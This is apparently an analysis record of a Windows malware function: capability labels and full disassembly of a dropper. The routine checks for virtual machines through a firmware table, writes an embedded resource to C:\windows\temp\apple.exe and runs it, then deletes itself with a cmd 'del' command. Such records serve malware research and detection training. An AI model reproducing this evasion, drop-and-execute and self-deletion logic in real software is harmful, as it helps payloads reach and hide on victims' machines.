Function at 0x1400023b0
Capabilities:
Create process on windows
Enumerate system firmware tables
Extract resource via kernel32 functions
Query environment variable
Self delete
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x400]
sub rsp, 0x500
mov rax, qword [0x14003c040]
xor rax, rsp
mov qword [rbp + 0x3f0], rax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x45e7b273
mul ecx
shr edx, 0xe
cmp edx, 5
jl 0x1400026e0
xor r8d, r8d
xor edx, edx
mov ecx, 0x41435049
call qword [sym.imp.KERNEL32.dll_EnumSystemFirmwareTables]
mov ebx, eax
xor r15d, r15d
test eax, eax
je 0x140002490
mov ecx, ebx
call fcn.140008964
mov rdi, rax
mov r8d, ebx
mov rdx, rax
mov ecx, 0x41435049
call qword [sym.imp.KERNEL32.dll_EnumSystemFirmwareTables]
test eax, eax
je 0x140002488
mov r8d, r15d
mov ecx, eax
movabs rax, 0xcccccccccccccccd
mul rcx
shr rdx, 5
test rdx, rdx
je 0x140002488
lea rax, [rdi + 0xa]
nop word [rax + rax]
xor ecx, ecx
mov dword [rbp - 0x40], ecx
mov byte [rbp - 0x3a], cl
movzx ecx, word [rax + 4]
mov word [rbp - 0x3c], cx
cmp dword [rax], 0x54454157
je 0x1400026e0
inc r8
add rax, 0x28
cmp r8, rdx
jb 0x140002460
mov rcx, rdi
call fcn.140008920
call fcn.140005ebc
mov edi, eax
call fcn.140004760
mov rcx, rax
mov edx, edi
call fcn.1400026f0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov rcx, qword [rcx + rax + 0x40]
mov rcx, qword [rcx + 8]
mov qword [rsp + 0x48], rcx
mov rdx, qword [rcx]
call qword [rdx + 8]
nop
lea rcx, [rsp + 0x40]
call fcn.1400044c0
mov r8, qword [rax]
mov dl, 0xa
mov rcx, rax
call qword [r8 + 0x40]
movzx esi, al
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x140002501
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test rax, rax
je 0x140002501
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
movzx edx, sil
mov rcx, rbx
call fcn.140005c20
mov rcx, rbx
call fcn.140004230
cmp edi, 4
jb 0x1400026e0
call fcn.140001f30
lea r8, [0x1400362e8]
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x1f01ff
lea r8d, [r9 + 7]
lea r14, str.C:__windows__temp__apple.exe
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rsp + 0x20], r15
lea r9, [rbp - 0x40]
mov r8d, esi
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
mov dword [rsp + 0x50], 0x70
mov qword [rsp + 0x68], r14
mov dword [rbp - 0x80], 5
lea rax, [0x14003632c]
mov qword [rsp + 0x70], rax
mov edx, 6
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
lea rcx, [rsp + 0x50]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov r8d, 0x104
lea rdx, [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1400026b2
mov r8d, 0x104
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetShortPathNameW]
test eax, eax
je 0x1400026b2
lea rdx, str._c_del
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.____NUL
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov r8d, 0x104
lea rdx, [rbp - 0x30]
lea rcx, str.ComSpec
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x1400026b2
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x1e0]
lea r8, [rbp - 0x30]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov rcx, qword [rbp + 0x3f0]
xor rcx, rsp
call fcn.140008900
lea r11, [rsp + 0x500]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]